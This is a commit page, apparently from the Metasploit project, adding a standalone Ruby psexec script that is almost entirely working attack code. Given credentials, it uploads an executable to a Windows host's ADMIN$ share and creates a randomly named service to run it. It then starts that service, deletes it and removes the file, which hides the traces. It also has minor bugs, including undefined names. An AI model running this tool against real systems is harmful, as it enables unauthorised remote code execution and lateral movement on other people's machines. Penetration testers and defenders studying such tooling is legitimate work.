Add a standalone psexec (based on Rex) for ref.
This commit is contained in:
HD Moore
parent
270fa1b87b
commit
b791f662c6
|
|
@ -0,0 +1,304 @@
|
|||
#!/usr/bin/env ruby
|
||||
#
|
||||
#
|
||||
# This is rough and dirty standalone (Rex only) psexec implementation
|
||||
#
|
||||
|
||||
msfbase = __FILE__
|
||||
while File.symlink?(msfbase)
|
||||
msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase))
|
||||
end
|
||||
|
||||
$:.unshift(File.expand_path(File.join(File.dirname(msfbase), '..', 'lib')))
|
||||
require 'fastlib'
|
||||
require 'msfenv'
|
||||
|
||||
$:.unshift(ENV['MSF_LOCAL_LIB']) if ENV['MSF_LOCAL_LIB']
|
||||
|
||||
|
||||
require 'rex'
|
||||
require 'rex/proto/smb'
|
||||
require 'rex/proto/ntlm'
|
||||
require 'rex/proto/dcerpc'
|
||||
require 'rex/encoder/ndr'
|
||||
require 'rex/proto/smb/simpleclient'
|
||||
|
||||
|
||||
# SMB constants from Rex
|
||||
SIMPLE = Rex::Proto::SMB::SimpleClient
|
||||
XCEPT = Rex::Proto::SMB::Exceptions
|
||||
CONST = Rex::Proto::SMB::Constants
|
||||
|
||||
|
||||
# Alias over the Rex DCERPC protocol modules
|
||||
DCERPCPacket = Rex::Proto::DCERPC::Packet
|
||||
DCERPCClient = Rex::Proto::DCERPC::Client
|
||||
DCERPCResponse = Rex::Proto::DCERPC::Response
|
||||
DCERPCUUID = Rex::Proto::DCERPC::UUID
|
||||
NDR = Rex::Encoder::NDR
|
||||
|
||||
|
||||
def print_error(msg)
|
||||
$stderr.puts "[-] #{msg}"
|
||||
end
|
||||
|
||||
def print_status(msg)
|
||||
$stderr.puts "[+] #{msg}"
|
||||
end
|
||||
|
||||
def print_lines(msg)
|
||||
$stderr.puts "[+] #{msg}"
|
||||
end
|
||||
|
||||
def usage
|
||||
$stderr.puts "#{$0} [host] [exe] [user] [pass]"
|
||||
exit(0)
|
||||
end
|
||||
|
||||
|
||||
def dcerpc_handle(uuid, version, protocol, opts, rhost)
|
||||
Rex::Proto::DCERPC::Handle.new([uuid, version], protocol, rhost, opts)
|
||||
end
|
||||
|
||||
def dcerpc_bind(handle, csocket, csimple, cuser, cpass)
|
||||
opts = { }
|
||||
opts['connect_timeout'] = 10
|
||||
opts['read_timeout'] = 10
|
||||
opts['smb_user'] = cuser
|
||||
opts['smb_pass'] = cpass
|
||||
opts['frag_size'] = 512
|
||||
opts['smb_client'] = csimple
|
||||
|
||||
Rex::Proto::DCERPC::Client.new(handle, csocket, opts)
|
||||
end
|
||||
|
||||
def dcerpc_call(function, stub = '', timeout=nil, do_recv=true)
|
||||
otimeout = dcerpc.options['read_timeout']
|
||||
|
||||
begin
|
||||
dcerpc.options['read_timeout'] = timeout if timeout
|
||||
dcerpc.call(function, stub, do_recv)
|
||||
rescue ::Rex::Proto::SMB::Exceptions::NoReply, Rex::Proto::DCERPC::Exceptions::NoResponse
|
||||
print_status("The DCERPC service did not reply to our request")
|
||||
return
|
||||
ensure
|
||||
dcerpc.options['read_timeout'] = otimeout
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
opt_port = 445
|
||||
opt_host = ARGV.shift() || usage()
|
||||
opt_path = ARGV.shift() || usage()
|
||||
opt_user = ARGV.shift() || usage()
|
||||
opt_pass = ARGV.shift() || ""
|
||||
|
||||
opt_share = "ADMIN$"
|
||||
opt_domain = "."
|
||||
|
||||
socket = Rex::Socket.create_tcp({ 'PeerHost' => opt_host, 'PeerPort' => opt_port.to_i })
|
||||
|
||||
|
||||
|
||||
|
||||
simple = Rex::Proto::SMB::SimpleClient.new(socket, opt_port.to_i == 445)
|
||||
|
||||
simple.login(
|
||||
Rex::Text.rand_text_alpha(8),
|
||||
opt_user,
|
||||
opt_pass,
|
||||
opt_domain
|
||||
#datastore['SMB::VerifySignature'],
|
||||
#datastore['NTLM::UseNTLMv2'],
|
||||
#datastore['NTLM::UseNTLM2_session'],
|
||||
#datastore['NTLM::SendLM'],
|
||||
#datastore['NTLM::UseLMKey'],
|
||||
#datastore['NTLM::SendNTLM'],
|
||||
#datastore['SMB::Native_OS'],
|
||||
#datastore['SMB::Native_LM'],
|
||||
#{:use_spn => datastore['NTLM::SendSPN'], :name => self.rhost}
|
||||
)
|
||||
simple.connect("\\\\#{opt_host}\\IPC$")
|
||||
|
||||
if (not simple.client.auth_user)
|
||||
print_line(" ")
|
||||
print_error(
|
||||
"FAILED! The remote host has only provided us with Guest privileges. " +
|
||||
"Please make sure that the correct username and password have been provided. " +
|
||||
"Windows XP systems that are not part of a domain will only provide Guest privileges " +
|
||||
"to network logins by default."
|
||||
)
|
||||
print_line(" ")
|
||||
exit(1)
|
||||
end
|
||||
|
||||
|
||||
|
||||
fname = Rex::Text.rand_text_alpha(8) + ".exe"
|
||||
sname = Rex::Text.rand_text_alpha(8)
|
||||
|
||||
|
||||
# Upload the payload to the share
|
||||
print_status("Uploading payload...")
|
||||
|
||||
|
||||
simple.connect(opt_share)
|
||||
|
||||
fd = simple.open("\\#{fname}", 'rwct', 500)
|
||||
File.open(opt_path, "rb") do |efd|
|
||||
fd << efd.read
|
||||
end
|
||||
fd.close
|
||||
|
||||
print_status("Created \\#{fname}...")
|
||||
|
||||
# Disconnect from the share
|
||||
simple.disconnect(opt_share)
|
||||
|
||||
# Connect to the IPC service
|
||||
simple.connect("IPC$")
|
||||
|
||||
|
||||
# Bind to the service
|
||||
handle = dcerpc_handle('367abb81-9844-35f1-ad32-98f038001003', '2.0', 'ncacn_np', ["\\svcctl"], opt_host)
|
||||
print_status("Binding to #{handle} ...")
|
||||
dcerpc = dcerpc_bind(handle, socket, simple, opt_user, opt_pass)
|
||||
print_status("Bound to #{handle} ...")
|
||||
|
||||
##
|
||||
# OpenSCManagerW()
|
||||
##
|
||||
|
||||
print_status("Obtaining a service manager handle...")
|
||||
scm_handle = nil
|
||||
stubdata =
|
||||
NDR.uwstring("\\\\#{opt_host}") +
|
||||
NDR.long(0) +
|
||||
NDR.long(0xF003F)
|
||||
begin
|
||||
response = dcerpc.call(0x0f, stubdata)
|
||||
if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil)
|
||||
scm_handle = dcerpc.last_response.stub_data[0,20]
|
||||
end
|
||||
rescue ::Exception => e
|
||||
print_error("Error: #{e}")
|
||||
return
|
||||
end
|
||||
|
||||
|
||||
##
|
||||
# CreateServiceW()
|
||||
##
|
||||
|
||||
file_location = "%SYSTEMROOT%\\#{fname}"
|
||||
|
||||
displayname = 'M' + Rex::Text.rand_text_alpha(rand(32)+1)
|
||||
svc_handle = nil
|
||||
svc_status = nil
|
||||
|
||||
print_status("Creating a new service (#{sname} - \"#{displayname}\")...")
|
||||
stubdata =
|
||||
scm_handle +
|
||||
NDR.wstring(sname) +
|
||||
NDR.uwstring(displayname) +
|
||||
|
||||
NDR.long(0x0F01FF) + # Access: MAX
|
||||
NDR.long(0x00000110) + # Type: Interactive, Own process
|
||||
NDR.long(0x00000003) + # Start: Demand
|
||||
NDR.long(0x00000000) + # Errors: Ignore
|
||||
NDR.wstring( file_location ) + # Binary Path
|
||||
NDR.long(0) + # LoadOrderGroup
|
||||
NDR.long(0) + # Dependencies
|
||||
NDR.long(0) + # Service Start
|
||||
NDR.long(0) + # Password
|
||||
NDR.long(0) + # Password
|
||||
NDR.long(0) + # Password
|
||||
NDR.long(0) # Password
|
||||
begin
|
||||
response = dcerpc.call(0x0c, stubdata)
|
||||
if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil)
|
||||
svc_handle = dcerpc.last_response.stub_data[0,20]
|
||||
svc_status = dcerpc.last_response.stub_data[24,4]
|
||||
end
|
||||
rescue ::Exception => e
|
||||
print_error("Error: #{e}")
|
||||
exit(1)
|
||||
end
|
||||
|
||||
##
|
||||
# CloseHandle()
|
||||
##
|
||||
print_status("Closing service handle...")
|
||||
begin
|
||||
response = dcerpc.call(0x0, svc_handle)
|
||||
rescue ::Exception
|
||||
end
|
||||
|
||||
##
|
||||
# OpenServiceW
|
||||
##
|
||||
print_status("Opening service...")
|
||||
begin
|
||||
stubdata =
|
||||
scm_handle +
|
||||
NDR.wstring(sname) +
|
||||
NDR.long(0xF01FF)
|
||||
|
||||
response = dcerpc.call(0x10, stubdata)
|
||||
if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil)
|
||||
svc_handle = dcerpc.last_response.stub_data[0,20]
|
||||
end
|
||||
rescue ::Exception => e
|
||||
print_error("Error: #{e}")
|
||||
exit(1)
|
||||
end
|
||||
|
||||
##
|
||||
# StartService()
|
||||
##
|
||||
print_status("Starting the service...")
|
||||
stubdata =
|
||||
svc_handle +
|
||||
NDR.long(0) +
|
||||
NDR.long(0)
|
||||
begin
|
||||
response = dcerpc.call(0x13, stubdata)
|
||||
rescue ::Exception => e
|
||||
print_error("Error: #{e}")
|
||||
exit(1)
|
||||
end
|
||||
|
||||
#
|
||||
# DeleteService()
|
||||
##
|
||||
print_status("Removing the service...")
|
||||
stubdata = svc_handle
|
||||
begin
|
||||
response = dcerpc.call(0x02, stubdata)
|
||||
if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil)
|
||||
end
|
||||
rescue ::Exception => e
|
||||
print_error("Error: #{e}")
|
||||
end
|
||||
|
||||
##
|
||||
# CloseHandle()
|
||||
##
|
||||
print_status("Closing service handle...")
|
||||
begin
|
||||
response = dcerpc.call(0x0, svc_handle)
|
||||
rescue ::Exception => e
|
||||
print_error("Error: #{e}")
|
||||
end
|
||||
|
||||
begin
|
||||
print_status("Deleting \\#{fname}...")
|
||||
select(nil, nil, nil, 1.0)
|
||||
simple.connect(smbshare)
|
||||
simple.delete("\\#{fname}")
|
||||
rescue ::Interrupt
|
||||
raise $!
|
||||
rescue ::Exception
|
||||
#raise $!
|
||||
end
|
||||
|
||||
Loading…
Reference in New Issue